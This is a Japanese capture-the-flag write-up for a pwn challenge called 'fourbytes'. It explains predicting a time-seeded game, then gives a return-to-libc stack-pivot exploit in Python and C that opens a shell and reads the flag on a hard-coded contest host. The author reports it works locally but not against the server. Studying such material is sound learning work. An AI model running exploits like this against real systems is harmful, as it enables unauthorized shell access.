= fourbytes (binary 500) = 時間内に解けなかった。 5回じゃんけんに勝つと,メモリ上の実行可能領域に4bytesだけ任意の命令列を書き込んで実行できる。 じゃんけん部分はバッファに文字列を読み込んで,strtolで数値に変換して0,1,2で入力する形式になっている。 プログラムの手はrandom関数によって生成されるが,シードが時刻になっているため容易に推測が可能である。 return-to-libcによって攻略できると考えた。 具体的にはじゃんけんの最後の入力において,じゃんけんの入力の後にスタックに配置したい値をいれておく。 4bytesの命令列ではスタックポインタをバッファ上のエクスプロイトを配置した位置にずらして,retを実行する。スタックポインタの移動は256bytes内に納まれば,これらの命令列は合計4bytesちょうどで表現できる。 即ち,`"\x83\xc4\x20\xc3" = add esp, 0x20; ret` スタック上には次のものを配置しておく。 {{{ 0xf7e46101 ; systemの2命令目(文字列終端回避のためpush ebpをスキップ) 0xffffffff ; dummy (push ebp分) 0xffffffff ; dummy (return address分) 0xf7f67304 ; "/bin/sh" }}} 作成したエクスプロイト {{{#!highlight python import socket import subprocess from struct import pack import sys import time def get_random(): p = subprocess.Popen(["./random", "0"], stdout=subprocess.PIPE) (stdoutdata, stderrdata) = p.communicate() return stdoutdata.split("\n")[:-1] def readline(f): s = f.readline() while "\n" not in s: t = f.readline() s += t return s # for libc6_2.19-0ubuntu6.3 system = 0xf7579100 delta = 0xf7f67304 - 0xf7e46100 exploit = ""; exploit += pack("I", system + 1); exploit += pack("I", 0xffffffff); exploit += pack("I", 0xffffffff); exploit += pack("I", system + delta); def try_pwn(): try: print "----------------------------" r = get_random() sock = socket.create_connection(("203.178.132.117", 3939)) f = sock.makefile() for i in range(4): f.write(str(r[i]) + "\n") f.write(str(r[4]) + " " + exploit + "\n") f.write("\x83\xc4\x20\xc3\n") f.write("echo pwn!\nls\ncat flag\nexit\n") f.flush() time.sleep(0.1) s = f.read(2048) print s if "pwn" not in s: return False print "pwn!" return True f.close() except: pass finally: sock.close() for i in xrange(1024): print i if try_pwn(): break }}} random.c {{{ #include int main(int ARGC, char **ARGV) { srandom(time(NULL) + atoi(ARGV[1])); for(int i =0 ; i < 5; i++) { printf("%d\n", (random() + 1) % 3); } } }}} ASLRが有効になっているもののlibcの配置空間はそれほど広くないらしく,ローカルでは1000回に数回は成功する。 が,問題サーバに対して実行するとpwnが返ってこない。じゃんけん部分は10回に9回程度は通過しているのでそこが問題ではない。 手元の環境と問題サーバで何が違うのだろう……